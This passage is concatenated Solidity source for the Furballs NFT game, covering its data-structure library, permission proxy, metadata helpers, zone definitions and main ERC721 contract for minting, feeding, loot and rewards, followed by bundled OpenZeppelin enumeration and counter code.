bytes signature; } /// Loot changes on a token for resolve function struct LootResolution { uint256 tokenId; uint128 itemGained; uint128 itemLost; } /// Everything that can happen to a Furball in a single "round" struct RoundResolution { uint256 tokenId; uint32 expGained; // uint8 zoneListNum; uint128[] items; uint64[] snackStacks; } // Signed message giving access to a set of expectations & constraints struct TimekeeperRequest { RoundResolution[] rounds;// What happened; passed by server. address sender; uint32 tickets; // Tickets to be spent uint32 furGained; // How much FUR the player expects uint32 furSpent; // How much FUR the player spent uint32 furReal; // The ACTUAL FUR the player earned (must be >= furGained) uint8 mintEdition; // Mint a furball from this edition uint8 mintCount; // Mint this many Furballs uint64 deadline; // When it is good until // uint256[] movements; // Moves made by furballs } // Track the results of a TimekeeperAuthorization struct TimekeeperResult { uint64 timestamp; uint8 errorCode; } /// @notice unpacks the override (offset) function getZoneId(uint32 offset, uint32 defaultValue) internal pure returns(uint32) { return offset > 0 ? (offset - 1) : defaultValue; } // // Play = collect / move zones // struct ActionPlay { // uint256[] tokenIds; // uint32 zone; // } // // Snack = FurLib.Feeding // // Loot (upgrade) // struct ActionUpgrade { // uint256 tokenId; // uint128 lootId; // uint8 chances; // } // // Signature package that accompanies moves // struct MoveSig { // bytes signature; // uint64 deadline; // address actor; // } // // Signature + play actions // struct SignedPlayMove { // bytes signature; // uint64 deadline; // // address actor; // uint32 zone; // uint256[] tokenIds; // } // // What does a player earn from pool? // struct PoolReward { // address actor; // uint32 fur; // } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; /// @title FurLib /// @author LFG Gaming LLC /// @notice Utilities for Furballs /// @dev Each of the structs are designed to fit within 256 library FurLib { // Metadata about a wallet. struct Account { uint64 created; // First time this account received a furball uint32 numFurballs; // Number of furballs it currently holds uint32 maxFurballs; // Max it has ever held uint16 maxLevel; // Max level of any furball it currently holds uint16 reputation; // Value assigned by moderators to boost standing uint16 standing; // Computed current standing uint8 permissions; // 0 = user, 1 = moderator, 2 = admin, 3 = owner } // Key data structure given to clients for high-level furball access (furballs.stats) struct FurballStats { uint16 expRate; uint16 furRate; RewardModifiers modifiers; Furball definition; Snack[] snacks; } // The response from a single play session indicating rewards struct Rewards { uint16 levels; uint32 experience; uint32 fur; uint128 loot; } // Stored data structure in Furballs master contract which keeps track of mutable data struct Furball { uint32 number; // Overall number, starting with 1 uint16 count; // Index within the collection uint16 rarity; // Total rarity score for later boosts uint32 experience; // EXP uint32 zone; // When exploring, the zone number. Otherwise, battling. uint16 level; // Current EXP => level; can change based on level up during collect uint16 weight; // Total weight (number of items in inventory) uint64 birth; // Timestamp of furball creation uint64 trade; // Timestamp of last furball trading wallets uint64 last; // Timestamp of last action (battle/explore) uint32 moves; // The size of the collection array for this furball, which is move num. uint256[] inventory; // IDs of items in inventory } // A runtime-calculated set of properties that can affect Furball production during collect() struct RewardModifiers { uint16 expPercent; uint16 furPercent; uint16 luckPercent; uint16 happinessPoints; uint16 energyPoints; uint32 zone; } // For sale via loot engine. struct Snack { uint32 snackId; // Unique ID uint32 duration; // How long it lasts, !expressed in intervals! uint16 furCost; // How much FUR uint16 happiness; // +happiness bost points uint16 energy; // +energy boost points uint16 count; // How many in stack? uint64 fed; // When was it fed (if it is active)? } // Input to the feed() function for multi-play struct Feeding { uint256 tokenId; uint32 snackId; uint16 count; } // Internal tracker for a furball when gaining in the zone struct ZoneReward { uint8 mode; // 1==tk disabled uint16 rarity; uint32 zoneOffset; // One-indexed to indicate presence :( uint32 fur; uint32 experience; uint64 timestamp; } // Calldata for a Furball which gets a snack while moving struct SnackMove { uint256 tokenId; uint32[] snackIds; } uint32 public constant Max32 = type(uint32).max; uint8 public constant PERMISSION_USER = 1; uint8 public constant PERMISSION_MODERATOR = 2; uint8 public constant PERMISSION_ADMIN = 4; uint8 public constant PERMISSION_OWNER = 5; uint8 public constant PERMISSION_CONTRACT = 0x10; uint32 public constant EXP_PER_INTERVAL = 500; uint32 public constant FUR_PER_INTERVAL = 100; uint8 public constant LOOT_BYTE_STAT = 1; uint8 public constant LOOT_BYTE_RARITY = 2; uint8 public constant SNACK_BYTE_ENERGY = 0; uint8 public constant SNACK_BYTE_HAPPINESS = 2; uint256 public constant OnePercent = 1000; uint256 public constant OneHundredPercent = 100000; /// @notice Shortcut for equations that saves gas /// @dev The expression (0x100 ** byteNum) is expensive; this covers byte packing for editions. function bytePower(uint8 byteNum) internal pure returns (uint256) { if (byteNum == 0) return 0x1; if (byteNum == 1) return 0x100; if (byteNum == 2) return 0x10000; if (byteNum == 3) return 0x1000000; if (byteNum == 4) return 0x100000000; if (byteNum == 5) return 0x10000000000; if (byteNum == 6) return 0x1000000000000; if (byteNum == 7) return 0x100000000000000; if (byteNum == 8) return 0x10000000000000000; if (byteNum == 9) return 0x1000000000000000000; if (byteNum == 10) return 0x100000000000000000000; if (byteNum == 11) return 0x10000000000000000000000; if (byteNum == 12) return 0x1000000000000000000000000; return (0x100 ** byteNum); } /// @notice Helper to get a number of bytes from a value function extractBytes(uint value, uint8 startAt, uint8 numBytes) internal pure returns (uint) { return (value / bytePower(startAt)) % bytePower(numBytes); } /// @notice Converts exp into a sqrt-able number. function expToLevel(uint32 exp, uint32 maxExp) internal pure returns(uint256) { exp = exp > maxExp ? maxExp : exp; return sqrt(exp < 100 ? 0 : ((exp + exp - 100) / 100)); } /// @notice Simple square root function using the Babylonian method function sqrt(uint32 x) internal pure returns(uint256) { if (x < 1) return 0; if (x < 4) return 1; uint z = (x + 1) / 2; uint y = x; while (z < y) { y = z; z = (x / z + z) / 2; } return y; } /// @notice Convert bytes into a hex str, e.g., an address str function bytesHex(bytes memory data) internal pure returns(string memory) { bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(data.length * 2); for (uint i = 0; i < data.length; i++) { str[i*2] = alphabet[uint(uint8(data[i] >> 4))]; str[1 + i*2] = alphabet[uint(uint8(data[i] & 0x0f))]; } return string(str); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; string memory table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; uint256 encodedLen = 4 * ((data.length + 2) / 3); string memory result = new string(encodedLen + 32); assembly { mstore(result, encodedLen) let tablePtr := add(table, 1) let dataPtr := data let endPtr := add(dataPtr, mload(data)) let resultPtr := add(result, 32) for { } lt(dataPtr, endPtr) { } { dataPtr := add(dataPtr, 3) let input := mload(dataPtr) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(input, 0x3F)))) ) resultPtr := add(resultPtr, 1) } switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../Furballs.sol"; import "./FurLib.sol"; /// @title FurProxy /// @author LFG Gaming LLC /// @notice Manages a link from a sub-contract back to the master Furballs contract /// @dev Provides permissions by means of proxy abstract contract FurProxy { Furballs public furballs; constructor(address furballsAddress) { furballs = Furballs(furballsAddress); } /// @notice Allow upgrading contract links function setFurballs(address addr) external onlyOwner { furballs = Furballs(addr); } /// @notice Proxied from permissions lookup modifier onlyOwner() { require(_permissionCheck(msg.sender) >= FurLib.PERMISSION_OWNER, "OWN"); _; } /// @notice Permission modifier for moderators (covers owner) modifier gameAdmin() { require(_permissionCheck(msg.sender) >= FurLib.PERMISSION_ADMIN, "GAME"); _; } /// @notice Permission modifier for moderators (covers admin) modifier gameModerators() { require(_permissionCheck(msg.sender) >= FurLib.PERMISSION_MODERATOR, "MOD"); _; } /// @notice Generalized permissions flag for a given address function _permissionCheck(address addr) internal view returns (uint) { if(addr != address(0)) { uint256 size; assembly { size := extcodesize(addr) } if (addr == tx.origin && size == 0) { return _userPermissions(addr); } } return _contractPermissions(addr); } /// @notice Permission lookup (for loot engine approveSender) function _permissions(address addr) internal view returns (uint8) { // User permissions will return "zero" quickly if this didn't come from a wallet. if (addr == address(0)) return 0; uint256 size; assembly { size := extcodesize(addr) } if (size != 0) return 0; return _userPermissions(addr); } function _contractPermissions(address addr) internal view returns (uint) { if (addr == address(furballs) || addr == address(furballs.engine()) || addr == address(furballs.furgreement()) || addr == address(furballs.governance()) || addr == address(furballs.fur()) || addr == address(furballs.engine().zones()) ) { return FurLib.PERMISSION_CONTRACT; } return 0; } function _userPermissions(address addr) internal view returns (uint8) { // Invalid addresses include contracts an non-wallet interactions, which have no permissions if (addr == address(0)) return 0; if (addr == furballs.owner()) return FurLib.PERMISSION_OWNER; if (furballs.isAdmin(addr)) return FurLib.PERMISSION_ADMIN; if (furballs.isModerator(addr)) return FurLib.PERMISSION_MODERATOR; return FurLib.PERMISSION_USER; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "./FurLib.sol"; /// @title MetaData /// @author LFG Gaming LLC /// @notice Utilities for creating MetaData (e.g., OpenSea) library MetaData { function trait(string memory traitType, string memory value) internal pure returns (bytes memory) { return abi.encodePacked('{"trait_type": "', traitType,'", "value": "', value, '"}, '); } function traitNumberDisplay( string memory traitType, string memory displayType, uint256 value ) internal pure returns (bytes memory) { return abi.encodePacked( '{"trait_type": "', traitType, bytes(displayType).length > 0 ? '", "display_type": "' : '', displayType, '", "value": ', FurLib.uint2str(value), '}, ' ); } function traitValue(string memory traitType, uint256 value) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "", value); } /// @notice Convert a modifier percentage (120%) into a metadata +20% boost function traitBoost( string memory traitType, uint256 percent ) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "boost_percentage", percent > 100 ? (percent - 100) : 0); } function traitNumber( string memory traitType, uint256 value ) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "number", value); } function traitDate( string memory traitType, uint256 value ) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "date", value); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./Zones.sol"; import "../utils/FurProxy.sol"; /// @title IZone /// @author LFG Gaming LLC /// @notice The loot engine is patchable by replacing the Furballs' engine with a new version interface IZone is IERC165 { function number() external view returns(uint); function name() external view returns(string memory); function background() external view returns(string memory); function enterZone(uint256 tokenId) external; } contract ZoneDefinition is ERC165, IZone, FurProxy { uint override public number; string override public name; string override public background; constructor(address furballsAddress, uint32 zoneNum) FurProxy(furballsAddress) { number = zoneNum; } function update(string calldata zoneName, string calldata zoneBk) external gameAdmin { name = zoneName; background = zoneBk; } /// @notice A zone can hook a furball's entry... function enterZone(uint256 tokenId) external override gameAdmin { // Nothing to see here. } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IZone).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; // import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "./editions/IFurballEdition.sol"; import "./engines/ILootEngine.sol"; import "./engines/EngineA.sol"; import "./utils/FurLib.sol"; import "./utils/FurDefs.sol"; import "./utils/FurProxy.sol"; import "./utils/Moderated.sol"; import "./utils/Governance.sol"; import "./Fur.sol"; import "./Furgreement.sol"; // import "hardhat/console.sol"; /// @title Furballs /// @author LFG Gaming LLC /// @notice Mints Furballs on the Ethereum blockchain /// @dev https://furballs.com/contract contract Furballs is ERC721Enumerable, Moderated { Fur public fur; IFurballEdition[] public editions; ILootEngine public engine; Governance public governance; Furgreement public furgreement; // tokenId => furball data mapping(uint256 => FurLib.Furball) public furballs; // tokenId => all rewards assigned to that Furball mapping(uint256 => FurLib.Rewards) public collect; // The amount of time over which FUR/EXP is accrued (usually 3600=>1hour); used with test servers uint256 public intervalDuration; // When play/collect runs, returns rewards event Collection(uint256 tokenId, uint256 responseId); // Inventory change event event Inventory(uint256 tokenId, uint128 lootId, uint16 dropped); constructor(uint256 interval) ERC721("Furballs", "FBL") { intervalDuration = interval; } // ----------------------------------------------------------------------------------------------- // Public transactions // ----------------------------------------------------------------------------------------------- /// @notice Mints a new furball from the current edition (if there are any remaining) /// @dev Limits and fees are set by IFurballEdition function mint(address[] memory to, uint8 editionIndex, address actor) external { (address sender, uint8 permissions) = _approvedSender(actor); require(to.length == 1 || permissions >= FurLib.PERMISSION_MODERATOR, "MULT"); for (uint8 i=0; i<to.length; i++) { fur.purchaseMint(sender, permissions, to[i], editions[editionIndex]); _spawn(to[i], editionIndex, 0); } } /// @notice Feeds the furball a snack /// @dev Delegates logic to fur function feed(FurLib.Feeding[] memory feedings, address actor) external { (address sender, uint8 permissions) = _approvedSender(actor); uint256 len = feedings.length; for (uint256 i=0; i<len; i++) { fur.purchaseSnack(sender, permissions, feedings[i].tokenId, feedings[i].snackId, feedings[i].count); } } /// @notice Begins exploration mode with the given furballs /// @dev Multiple furballs accepted at once to reduce gas fees /// @param tokenIds The furballs which should start exploring /// @param zone The explore zone (otherwize, zero for battle mode) function playMany(uint256[] memory tokenIds, uint32 zone, address actor) external { (address sender, uint8 permissions) = _approvedSender(actor); for (uint256 i=0; i<tokenIds.length; i++) { // Run reward collection _collect(tokenIds[i], sender, permissions); // Set new zone (if allowed; enterZone may throw) furballs[tokenIds[i]].zone = uint32(engine.enterZone(tokenIds[i], zone, tokenIds)); } } /// @notice Re-dropping loot allows players to pay $FUR to re-roll an inventory slot /// @param tokenId The furball in question /// @param lootId The lootId in its inventory to re-roll function upgrade( uint256 tokenId, uint128 lootId, uint8 chances, address actor ) external { // Attempt upgrade (random chance). (address sender, uint8 permissions) = _approvedSender(actor); uint128 up = fur.purchaseUpgrade(_baseModifiers(tokenId), sender, permissions, tokenId, lootId, chances); if (up != 0) { _drop(tokenId, lootId, 1); _pickup(tokenId, up); } } /// @notice The LootEngine can directly send loot to a furball! /// @dev This allows for gameplay expansion, i.e., new game modes /// @param tokenId The furball to gain the loot /// @param lootId The loot ID being sent function pickup(uint256 tokenId, uint128 lootId) external gameAdmin { _pickup(tokenId, lootId); } /// @notice The LootEngine can cause a furball to drop loot! /// @dev This allows for gameplay expansion, i.e., new game modes /// @param tokenId The furball /// @param lootId The item to drop /// @param count the number of that item to drop function drop(uint256 tokenId, uint128 lootId, uint8 count) external gameAdmin { _drop(tokenId, lootId, count); } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- function _slotNum(uint256 tokenId, uint128 lootId) internal view returns(uint256) { for (uint8 i=0; i<furballs[tokenId].inventory.length; i++) { if (furballs[tokenId].inventory[i] / 256 == lootId) { return i + 1; } } return 0; } /// @notice Remove an inventory item from a furball function _drop(uint256 tokenId, uint128 lootId, uint8 count) internal { uint256 slot = _slotNum(tokenId, lootId); require(slot > 0 && slot <= uint32(furballs[tokenId].inventory.length), "SLOT"); slot -= 1; uint8 stackSize = uint8(furballs[tokenId].inventory[slot] % 0x100); if (count == 0 || count >= stackSize) { // Drop entire stack uint16 len = uint16(furballs[tokenId].inventory.length); if (len > 1) { furballs[tokenId].inventory[slot] = furballs[tokenId].inventory[len - 1]; } furballs[tokenId].inventory.pop(); count = stackSize; } else { stackSize -= count; furballs[tokenId].inventory[slot] = uint256(lootId) * 0x100 + stackSize; } furballs[tokenId].weight -= count * engine.weightOf(lootId); emit Inventory(tokenId, lootId, count); } /// @notice Internal implementation of adding a single known loot item to a Furball function _pickup(uint256 tokenId, uint128 lootId) internal { require(lootId > 0, "LOOT"); uint256 slotNum = _slotNum(tokenId, lootId); uint8 stackSize = 1; if (slotNum == 0) { furballs[tokenId].inventory.push(uint256(lootId) * 0x100 + stackSize); } else { stackSize += uint8(furballs[tokenId].inventory[slotNum - 1] % 0x100); require(stackSize < 0x100, "STACK"); furballs[tokenId].inventory[slotNum - 1] = uint256(lootId) * 0x100 + stackSize; } furballs[tokenId].weight += engine.weightOf(lootId); emit Inventory(tokenId, lootId, 0); } /// @notice Calculates full reward modifier stack for a furball in a zone. function _rewardModifiers( FurLib.Furball memory fb, uint256 tokenId, address ownerContext, uint256 snackData ) internal view returns(FurLib.RewardModifiers memory reward) { uint16 energy = uint16(FurLib.extractBytes(snackData, FurLib.SNACK_BYTE_ENERGY, 2)); uint16 happiness = uint16(FurLib.extractBytes(snackData, FurLib.SNACK_BYTE_HAPPINESS, 2)); bool context = ownerContext != address(0); uint32 editionIndex = uint32(tokenId % 0x100); reward = FurLib.RewardModifiers( uint16(100 + fb.rarity), uint16(100 + fb.rarity - (editionIndex < 4 ? (editionIndex * 20) : 80)), uint16(100), happiness, energy, context ? fb.zone : 0 ); // Engine will consider inventory and team size in zone (17k) return engine.modifyReward( fb, editions[editionIndex].modifyReward(reward, tokenId), governance.getAccount(ownerContext), context ); } /// @notice Common version of _rewardModifiers which excludes contextual data function _baseModifiers(uint256 tokenId) internal view returns(FurLib.RewardModifiers memory) { return _rewardModifiers(furballs[tokenId], tokenId, address(0), 0); } /// @notice Ends the current explore/battle and dispenses rewards /// @param tokenId The furball function _collect(uint256 tokenId, address sender, uint8 permissions) internal { FurLib.Furball memory furball = furballs[tokenId]; address owner = ownerOf(tokenId); // The engine is allowed to force furballs into exploration mode // This allows it to end a battle early, which will be necessary in PvP require(owner == sender || permissions >= FurLib.PERMISSION_ADMIN, "OWN"); // Scale duration to the time the edition has been live if (furball.last == 0) { uint64 launchedAt = uint64(editions[tokenId % 0x100].liveAt()); require(launchedAt > 0 && launchedAt < uint64(block.timestamp), "PRE"); furball.last = furball.birth > launchedAt ? furball.birth : launchedAt; } // Calculate modifiers to be used with this collection FurLib.RewardModifiers memory mods = _rewardModifiers(furball, tokenId, owner, fur.cleanSnacks(tokenId)); // Reset the collection for this furball uint32 duration = uint32(uint64(block.timestamp) - furball.last); collect[tokenId].fur = 0; collect[tokenId].experience = 0; collect[tokenId].levels = 0; if (mods.zone >= 0x10000) { // Battle zones earn FUR and assign to the owner uint32 f = uint32(_calculateReward(duration, FurLib.FUR_PER_INTERVAL, mods.furPercent)); if (f > 0) { fur.earn(owner, f); collect[tokenId].fur = f; } } else { // Explore zones earn EXP... uint32 exp = uint32(_calculateReward(duration, FurLib.EXP_PER_INTERVAL, mods.expPercent)); (uint32 totalExp, uint16 levels) = engine.onExperience(furballs[tokenId], owner, exp); collect[tokenId].experience = exp; collect[tokenId].levels = levels; furballs[tokenId].level += levels; furballs[tokenId].experience = totalExp; } // Generate loot and assign to furball uint32 interval = uint32(intervalDuration); uint128 lootId = engine.dropLoot(duration / interval, mods); collect[tokenId].loot = lootId; if (lootId > 0) { _pickup(tokenId, lootId); } // Timestamp the last interaction for next cycle. furballs[tokenId].last = uint64(block.timestamp); // Emit the reward ID for frontend uint32 moves = furball.moves + 1; furballs[tokenId].moves = moves; emit Collection(tokenId, moves); } /// @notice Mints a new furball /// @dev Recursive function; generates randomization seed for the edition /// @param to The recipient of the furball /// @param nonce A recursive counter to prevent infinite loops function _spawn(address to, uint8 editionIndex, uint8 nonce) internal { require(nonce < 10, "SUPPLY"); require(editionIndex < editions.length, "ED"); IFurballEdition edition = editions[editionIndex]; // Generate a random furball tokenId; if it fails to be unique, recurse! (uint256 tokenId, uint16 rarity) = edition.spawn(); tokenId += editionIndex; if (_exists(tokenId)) return _spawn(to, editionIndex, nonce + 1); // Ensure that this wallet has not exceeded its per-edition mint-cap uint32 owned = edition.minted(to); require(owned < edition.maxMintable(to), "LIMIT"); // Check the current edition's constraints (caller should have checked costs) uint16 cnt = edition.count(); require(cnt < edition.maxCount(), "MAX"); // Initialize the memory struct that represents the furball furballs[tokenId].number = uint32(totalSupply() + 1); furballs[tokenId].count = cnt; furballs[tokenId].rarity = rarity; furballs[tokenId].birth = uint64(block.timestamp); // Finally, mint the token and increment internal counters _mint(to, tokenId); edition.addCount(to, 1); } /// @notice Happens each time a furball changes wallets /// @dev Keeps track of the furball timestamp function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { super._beforeTokenTransfer(from, to, tokenId); // Update internal data states furballs[tokenId].trade = uint64(block.timestamp); // Delegate other logic to the engine engine.onTrade(furballs[tokenId], from, to); } // ----------------------------------------------------------------------------------------------- // Game Engine & Moderation // ----------------------------------------------------------------------------------------------- function stats(uint256 tokenId, bool contextual) public view returns(FurLib.FurballStats memory) { // Base stats are calculated without team size so this doesn't effect public metadata FurLib.Furball memory furball = furballs[tokenId]; FurLib.RewardModifiers memory mods = _rewardModifiers( furball, tokenId, contextual ? ownerOf(tokenId) : address(0), contextual ? fur.snackEffects(tokenId) : 0 ); return FurLib.FurballStats( uint16(_calculateReward(intervalDuration, FurLib.EXP_PER_INTERVAL, mods.expPercent)), uint16(_calculateReward(intervalDuration, FurLib.FUR_PER_INTERVAL, mods.furPercent)), mods, furball, fur.snacks(tokenId) ); } /// @notice This utility function is useful because it force-casts arguments to uint256 function _calculateReward( uint256 duration, uint256 perInterval, uint256 percentBoost ) internal view returns(uint256) { uint256 interval = intervalDuration; return (duration * percentBoost * perInterval) / (100 * interval); } // ----------------------------------------------------------------------------------------------- // Public Views/Accessors (for outside world) // ----------------------------------------------------------------------------------------------- /// @notice Provides the OpenSea storefront /// @dev see https://docs.opensea.io/docs/contract-level-metadata function contractURI() public view returns (string memory) { return governance.metaURI(); } /// @notice Provides the on-chain Furball asset /// @dev see https://docs.opensea.io/docs/metadata-standards function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId)); return string(abi.encodePacked("data:application/json;base64,", FurLib.encode(abi.encodePacked( editions[tokenId % 0x100].tokenMetadata( engine.attributesMetadata(tokenId), tokenId, furballs[tokenId].number ) )))); } // ----------------------------------------------------------------------------------------------- // OpenSea Proxy // ----------------------------------------------------------------------------------------------- /// @notice Whitelisting the proxy registies for secondary market transactions /// @dev See OpenSea ERC721Tradable function isApprovedForAll(address owner, address operator) override public view returns (bool) { return engine.canProxyTrades(owner, operator) || super.isApprovedForAll(owner, operator); } /// @notice This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. /// @dev See OpenSea ContentMixin function _msgSender() internal override view returns (address sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = msg.sender; } return sender; } // ----------------------------------------------------------------------------------------------- // Configuration / Admin // ----------------------------------------------------------------------------------------------- function setFur(address furAddress) external onlyAdmin { fur = Fur(furAddress); } function setFurgreement(address furgAddress) external onlyAdmin { furgreement = Furgreement(furgAddress); } function setGovernance(address addr) public onlyAdmin { governance = Governance(payable(addr)); } function setEngine(address addr) public onlyAdmin { engine = ILootEngine(addr); } function addEdition(address addr, uint8 idx) public onlyAdmin { if (idx >= editions.length) { editions.push(IFurballEdition(addr)); } else { editions[idx] = IFurballEdition(addr); } } function _isReady() internal view returns(bool) { return address(engine) != address(0) && editions.length > 0 && address(fur) != address(0) && address(governance) != address(0); } /// @notice Handles auth of msg.sender against cheating and/or banning. /// @dev Pass nonzero sender to act as a proxy against the furgreement function _approvedSender(address sender) internal view returns (address, uint8) { // No sender (for gameplay) is approved until the necessary parts are online require(_isReady(), "!RDY"); if (sender != address(0) && sender != msg.sender) { // Only the furgreement may request a proxied sender. require(msg.sender == address(furgreement), "PROXY"); } else { // Zero input triggers sender calculation from msg args sender = _msgSender(); } // All senders are validated thru engine logic. uint8 permissions = uint8(engine.approveSender(sender)); // Zero-permissions indicate unauthorized. require(permissions > 0, FurLib.bytesHex(abi.encodePacked(sender))); return (sender, permissions); } modifier gameAdmin() { (address sender, uint8 permissions) = _approvedSender(address(0)); require(permissions >= FurLib.PERMISSION_ADMIN, "GAME"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function 